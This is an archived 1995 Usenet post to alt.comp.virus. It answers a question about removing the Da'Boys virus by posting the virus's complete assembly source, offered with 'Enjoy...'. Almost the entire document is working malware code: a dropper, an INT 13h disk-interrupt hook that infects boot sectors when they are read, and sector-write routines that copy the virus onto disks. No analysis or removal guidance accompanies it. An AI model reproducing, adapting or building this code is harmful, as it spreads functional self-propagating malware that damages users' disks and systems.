home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / DABOYS.ASM / text0000.txt < prev   
Encoding:
Internet Message Format  |  1995-10-29  |  6.8 KB

  1. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
  2. From: yojimbo@crl.com (Douglas Mauldin)
  3. Newsgroups: alt.comp.virus
  4. Subject: Re: Da'boys viurs, new?
  5. Date: 23 Mar 1995 23:25:53 -0800
  6. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  7. Lines: 276
  8. Message-ID: <3kts61$1a3@crl9.crl.com>
  9. References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
  10. NNTP-Posting-Host: crl9.crl.com
  11. X-Newsreader: TIN [version 1.2 PL2]
  12.  
  13. ;: does anyone know what this virus does?  how dangerous is it
  14. ;: and how do i remove it from my boot sector if the disk is not
  15. ;: a bootable one?  
  16.  
  17. ;From THe QUaRaNTiNE archives: Da'Boys Source-
  18. ;Enjoy...
  19.  
  20. cseg        segment    para    public    'code'
  21. da_boys        proc    near
  22. assume        cs:cseg
  23.  
  24. ;-----------------------------------------------------------------------------
  25.  
  26. .186
  27. TRUE        equ    001h
  28. FALSE        equ    000h
  29.  
  30. ;-----------------------------------------------------------------------------
  31.  
  32. ;option                     bytes used
  33.  
  34. COM4_OFF    equ    TRUE    ;  3 bytes
  35. DA_BOYS_TEXT    equ    TRUE    ;  6 bytes
  36.  
  37. ;-----------------------------------------------------------------------------
  38.  
  39. ADDR_MUL    equ    004h
  40. BIOS_INT_13    equ    0c6h
  41. BOOT_INT    equ    019h
  42. BOOT_OFFSET    equ    07c00h
  43. COM4_OFFSET    equ    00406h
  44. COM_OFFSET    equ    00100h
  45. DISK_INT    equ    013h
  46. DOS_GET_INT    equ    03500h
  47. DOS_INT        equ    021h
  48. DOS_SET_INT    equ    02500h
  49. FIRST_SECTOR    equ    00001h
  50. INITIAL_BX    equ    00078h
  51. LOW_CODE    equ    0021dh
  52. NEW_INT_13_LOOP    equ    0cdh
  53. READ_A_SECTOR    equ    00201h
  54. RETURN_NEAR    equ    0c3h
  55. SECTOR_SIZE    equ    00200h
  56. TERMINATE_W_ERR    equ    04c00h
  57. TWO_BYTES    equ    002h
  58. VIRGIN_INT_13_B    equ    007b4h
  59. WRITE_A_SECTOR    equ    00301h
  60.  
  61. ;-----------------------------------------------------------------------------
  62.  
  63. io_seg        segment    at 00070h
  64.         org    00000h
  65. io_sys_loads_at    label    word
  66. io_seg        ends
  67.  
  68. ;-----------------------------------------------------------------------------
  69.  
  70. bios_seg    segment    at 0f000h
  71.         org    09315h
  72. original_int_13    label    word
  73. bios_seg    ends
  74.  
  75. ;-----------------------------------------------------------------------------
  76.  
  77.         org    COM_OFFSET
  78. com_code:
  79.  
  80. ;-----------------------------------------------------------------------------
  81.  
  82. dropper        proc    near
  83.         xor    ax,ax
  84.         mov    ds,ax
  85.         lds    dx,dword ptr ds:[VIRGIN_INT_13_B]
  86.         mov    ax,DOS_SET_INT+BIOS_INT_13
  87.         int    DOS_INT
  88.         mov    dx,offset interrupt_13+LOW_CODE-offset old_jz
  89.         xor    ax,ax
  90.         mov    ds,ax
  91.         mov    ax,DOS_SET_INT+DISK_INT
  92.         int    DOS_INT
  93.         mov    di,LOW_CODE
  94.         mov    si,offset old_jz
  95.         push    ds
  96.         pop    es
  97.         call    move_to_boot
  98.         mov    ax,READ_A_SECTOR
  99.         mov    cx,FIRST_SECTOR
  100.         mov    dx,00180h
  101.         mov    bx,offset buffer
  102.         push    cs
  103.         pop    es
  104.         int    DISK_INT
  105. already_set:    mov    ax,TERMINATE_W_ERR
  106.         int    DOS_INT
  107. dropper        endp
  108.  
  109.  
  110. ;-----------------------------------------------------------------------------
  111.  
  112.         org    00048h+COM_OFFSET
  113.         call    initialize
  114.  
  115. ;-----------------------------------------------------------------------------
  116.  
  117.         org    000ebh+COM_OFFSET
  118. old_jz:        jz    old_code
  119.  
  120. ;-----------------------------------------------------------------------------
  121.  
  122.         org    00edh+COM_OFFSET
  123.  
  124. ;-----------------------------------------------------------------------------
  125.  
  126. error:        jmp    error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
  127. move_to_low:    mov    si,offset old_jz+BOOT_OFFSET-COM_OFFSET
  128.         xor    ax,ax
  129. move_to_boot:    mov    cx,offset jmp_old_int_13-offset    old_jz+1
  130.         pushf
  131.         cld
  132.         rep    movs byte ptr es:[di],cs:[si]
  133.         popf
  134.         ret
  135.  
  136. ;-----------------------------------------------------------------------------
  137.  
  138. old_code:    mov    ax,word    ptr ds:[bx+01ah]
  139.         dec    ax
  140.         dec    ax
  141.         mov    di,BOOT_OFFSET+049h
  142.         mov    bl,byte    ptr ds:[di-03ch]
  143.         xor    bh,bh
  144.         mul    bx
  145.         add    ax,word    ptr ds:[di]
  146.         adc    dx,word    ptr ds:[di+002h]
  147.         mov    bx,00700h
  148.         mov    cl,003h
  149. old_loop:    pusha
  150.         call    more_old_code
  151.         popa
  152.         jc    error
  153.         add    ax,0001h
  154.         adc    dx,00h
  155.         add    bx,word    ptr ds:[di-03eh]
  156.         loop    old_loop
  157.         mov    ch,byte    ptr ds:[di-034h]
  158.         mov    dl,byte    ptr ds:[di-025h]
  159.         mov    bx,word    ptr ds:[di]
  160.         mov    ax,word    ptr ds:[di+002h]
  161.         jmp    far ptr    io_sys_loads_at
  162.  
  163. ;-----------------------------------------------------------------------------
  164.  
  165. initialize:    mov    bx,INITIAL_BX
  166.         mov    di,LOW_CODE
  167.         push    ss
  168.         pop    ds
  169.         jmp    short set_interrupts
  170.  
  171. ;-----------------------------------------------------------------------------
  172.  
  173. error_will_jmp:    mov    bx,BOOT_OFFSET
  174.         IF    DA_BOYS_TEXT
  175.         db    'DA',027h,'BOYS'
  176.         ELSE
  177.         push    bx
  178.         ENDIF
  179.         mov    ax,00100h
  180.         mov    dx,08000h
  181. load_from_disk:    mov    cx,ax
  182.         mov    ax,READ_A_SECTOR
  183.         xchg    ch,cl
  184.         xchg    dh,dl
  185.         int    DISK_INT
  186.         ret
  187.  
  188. ;-----------------------------------------------------------------------------
  189.  
  190.         org    00160h+COM_OFFSET
  191.  
  192. ;-----------------------------------------------------------------------------
  193.  
  194. more_old_code:    mov    si,BOOT_OFFSET+018h
  195.         cmp    dx,word    ptr ds:[si]
  196.         jnb    stc_return
  197.         div    word ptr ds:[si]
  198.         inc    dl
  199.         mov    ch,dl
  200.         xor    dx,dx
  201.         IF    COM4_OFF
  202.         mov    word ptr ds:[COM4_OFFSET],dx
  203.         ENDIF
  204.         div    word ptr ds:[si+002h]
  205.         mov    dh,byte    ptr ds:[si+00ch]
  206.         shl    ah,006h
  207.         or    ah,ch
  208.         jmp    short load_from_disk
  209. stc_return:    stc
  210.         ret
  211.  
  212. ;-----------------------------------------------------------------------------
  213.  
  214.         org    0181h+COM_OFFSET
  215.         ret
  216.  
  217. ;-----------------------------------------------------------------------------
  218.  
  219. restart_it:    int    BOOT_INT
  220.  
  221. ;-----------------------------------------------------------------------------
  222.  
  223. set_interrupts:    cmp    word ptr ds:[di],ax
  224.         jne    is_resident
  225.         mov    word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
  226.         xchg    word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
  227.         mov    word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
  228.         mov    ax,offset interrupt_13+LOW_CODE-offset old_jz
  229.         mov    word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
  230.         xchg    word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
  231.         mov    word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
  232. is_resident:    jmp    move_to_low
  233.  
  234. ;-----------------------------------------------------------------------------
  235.  
  236. interrupt_13    proc    far
  237.         cmp    ah,high(READ_A_SECTOR)
  238.         jne    jmp_old_int_13
  239.         cmp    cx,FIRST_SECTOR
  240.         jne    jmp_old_int_13
  241.         cmp    dh,cl
  242.         ja    jmp_old_int_13
  243.         pusha
  244.         int    BIOS_INT_13
  245.         jc    not_boot_sect
  246.         mov    ax,0efe8h
  247.         xchg    word ptr es:[bx+048h],ax
  248.         cmp    ax,078bbh
  249.         jne    not_boot_sect
  250.         mov    di,bx
  251.         add    di,offset old_jz-COM_OFFSET
  252.         cmp    bh,high(BOOT_OFFSET)
  253.         pushf
  254.         jne    no_key_press
  255.         mov    byte ptr es:[di+00ch],RETURN_NEAR
  256.         pusha
  257.         call    near ptr hit_any_key
  258.         popa
  259. no_key_press:    mov    ax,WRITE_A_SECTOR
  260.         mov    si,LOW_CODE
  261.         call    move_to_boot
  262.         inc    cx
  263.         int    BIOS_INT_13
  264.         popf
  265.         je    restart_it
  266. not_boot_sect:    popa
  267. interrupt_13    endp
  268.  
  269. ;-----------------------------------------------------------------------------
  270.  
  271.         org    001e5h+COM_OFFSET
  272. jmp_old_int_13:    jmp    far ptr    original_int_13
  273.  
  274. ;-----------------------------------------------------------------------------
  275.  
  276. buffer        db    SECTOR_SIZE dup    (0)
  277.  
  278. ;-----------------------------------------------------------------------------
  279.  
  280.         org    07cedh-LOW_CODE+offset old_jz
  281. hit_any_key    label    word
  282.  
  283. ;-----------------------------------------------------------------------------
  284.  
  285. da_boys        endp
  286. cseg        ends
  287. end        com_code
  288.  
  289.  
  290.